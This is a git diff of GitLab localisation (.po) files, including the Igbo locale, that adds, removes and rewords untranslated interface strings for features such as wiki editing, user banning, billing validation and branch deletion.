msgid "Users in License"
msgstr ""
@@ -35052,6 +35753,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35615,15 +36319,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35663,9 +36367,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35693,16 +36394,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35735,9 +36436,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -35979,6 +36677,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36087,6 +36788,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36105,12 +36812,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36120,6 +36833,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36141,9 +36860,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36312,6 +37028,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36516,6 +37235,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36627,9 +37349,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -36912,10 +37640,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -36954,6 +37682,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -36984,9 +37715,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37183,9 +37911,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37520,6 +38245,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37756,6 +38520,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -37832,7 +38599,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -37932,6 +38699,9 @@ msgid "merge request"
msgid_plural "merge requests"
msgstr[0] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -37992,9 +38762,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38022,10 +38789,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38067,9 +38831,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38085,12 +38846,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38489,6 +39256,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38612,6 +39385,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/ig_NG/gitlab.po b/locale/ig_NG/gitlab.po
index a8115234677..f734f64ca37 100644
--- a/locale/ig_NG/gitlab.po
+++ b/locale/ig_NG/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ig\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:17\n"
+"PO-Revision-Date: 2021-06-01 20:33\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -230,6 +230,10 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -592,10 +593,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -732,6 +733,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -779,9 +786,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -886,9 +890,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -952,9 +962,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1260,6 +1267,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1281,6 +1291,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1350,9 +1363,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1365,6 +1375,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1410,9 +1423,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1452,30 +1462,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1491,7 +1495,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1518,6 +1522,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1785,6 +1798,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2061,6 +2077,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2226,9 +2245,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2241,9 +2257,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2268,9 +2281,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2316,6 +2326,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2334,6 +2347,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2382,6 +2398,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2412,6 +2443,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2466,6 +2500,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2547,6 +2584,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2562,6 +2608,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2574,6 +2626,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2598,6 +2653,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2610,6 +2668,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2655,9 +2716,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2695,9 +2753,6 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3067,9 +3122,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3172,6 +3224,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3385,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3478,9 +3536,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3550,7 +3605,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4019,6 +4074,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4049,16 +4107,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4634,7 +4689,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4703,6 +4758,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4859,6 +4917,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4877,6 +4938,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -4892,6 +4956,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -4910,6 +4977,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -4925,6 +4995,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -4937,6 +5028,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -4946,6 +5040,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5171,6 +5271,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5183,6 +5286,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5192,6 +5298,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5213,12 +5325,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5252,6 +5370,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5264,6 +5385,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5333,6 +5466,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5345,9 +5481,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5414,9 +5556,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
